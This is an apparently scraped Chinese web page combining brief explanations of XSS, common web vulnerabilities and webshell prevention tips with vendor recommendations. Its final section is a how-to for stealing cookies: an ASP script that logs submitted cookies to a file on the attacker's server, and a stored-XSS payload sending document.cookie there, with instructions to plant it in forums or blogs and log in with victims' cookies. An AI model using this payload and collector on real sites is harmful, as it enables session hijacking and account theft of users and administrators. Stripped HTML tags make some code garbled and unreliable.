本文目录一览：
什么是xss攻击，如何预防
xss攻击是webshell类中的一种，是跨站攻击，可以通过WAF应用防火墙防御，如果懂技术可以自己写，相关的程序规则进行拦截，返回错误请求信息，或者安装安全狗 云锁之类的，和百度云加速等都带有免费的WAF功能，也可以找智多互联，专业防御各种攻击，提供专业的防御方案
web 应用的常见 漏洞有哪些
web常见的几个漏洞
1. SQL注入
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。
2. XSS跨站点脚本
XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
3. 缓冲区溢出
缓冲区溢出漏洞是指在程序试图将数据放到及其内存中的某一个位置的时候，因为没有足够的空间就会发生缓冲区溢出的现象。
4. cookies修改
即使 Cookie 被窃取，却因 Cookie 被随机更新，且内容无规律性，攻击者无法加以利用。另外利用了时间戳另一大好处就是防止 Cookie 篡改或重放。
5. 上传漏洞
这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。
6. 命令行注入
所谓的命令行输入就是webshell 了，拿到了权限的黑客可以肆意妄为。
网站被入侵了传了webshell怎么办
如何防止网站被上传WebShell网页木马?
1 )网站服务器方面，开启系统自带的防火墙，增强管理员账户密码强度等，更改远程桌面端口，定期更新服务器补丁和杀毒软件。
2）定期的更新服务器系统漏洞（windows 2008 2012、linux centos系统），网站系统升级，尽量不适用第三方的API插件代码。
3）如果自己对程序代码不是太了解的话，建议找网站安全公司去修复网站的漏洞，以及代码的安全检测与木马后门清除，国内推荐SINE安全公司、绿盟安全公司、启明星辰等的网站安全公司，做深入的网站安全服务,来保障网站的安全稳定运行，防止网站被挂马之类的安全问题。
4）尽量不要把网站的后台用户的密码设置的太简单化,要符合10到18位的大小写字母+数字+符号组合。
5）网站后台管理的路径一定不能用默认的admin或guanli或manage 或文件名为admin.asp的路径去访问。
6）服务器的基础安全设置必须要详细的做好,端口的安全策略，注册表安全，底层系统的安全加固，否则服务器不安全,网站再安全也没用
xss 打到cookie 怎么利用
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath("code.txt") //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request("msg") //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""msg"")//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到'+document.cookie的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。